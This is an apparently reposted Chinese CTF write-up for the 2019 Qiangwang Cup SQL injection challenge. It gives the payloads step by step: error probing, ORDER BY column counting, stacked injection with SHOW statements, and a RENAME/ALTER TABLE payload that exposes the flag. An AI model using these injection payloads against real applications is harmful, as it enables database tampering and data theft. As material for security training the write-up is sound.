[强网杯 2019]随便注
作者:互联网
尝试1' 出现报错 1' and 1=1# 回显 正常开始sql注入
判断字段数 1' order by 2# 不报错 1' order by 3# 报错 字段数为2
下面开始使用联合注入 使用1' union select 1,database()# 发现报错
select updata delete等被过滤了 尝试使用堆叠注入和show 构造 1';show databases;#
1';show tables;#
1';show columns from `1919810931114514`;# 这里因为表明是纯数字 所以表明上要加``
最后出现了问题 没有办法去查看字段值 查看其他大佬写的wp 很骚的绕过姿势
- 将表名words换为其他的,类似于word1
- 将表名1919810931114514换为words
- 将列名flag换为id
通过之前的过滤规则发现并没有过滤掉alter
、rename
等关键字
1' ; rename tables `words` to `word1` ; rename tables `1919810931114514` to `words` ; alter table `words` change `flag` `id` varchar(100);#
数据库一些知识
- CREATE DATABASE - 创建新数据库
- ALTER DATABASE - 修改数据库
- CREATE TABLE - 创建新表
- ALTER TABLE - 变更(改变)数据库表
- DROP TABLE - 删除表
- CREATE INDEX - 创建索引(搜索键)
- DROP INDEX - 删除索引
rename tables `words` to `word1` 重命名表words
为word1
alter table `words` change `flag` `id` varchar(100) 变更表words
中的列flag
为id
且其性质为varchar(100)
最后构造 1' or 1=1# 可以查看到flag
标签:tables,show,随便,强网杯,flag,报错,words,2019,word1 来源: https://www.cnblogs.com/amet/p/14783441.html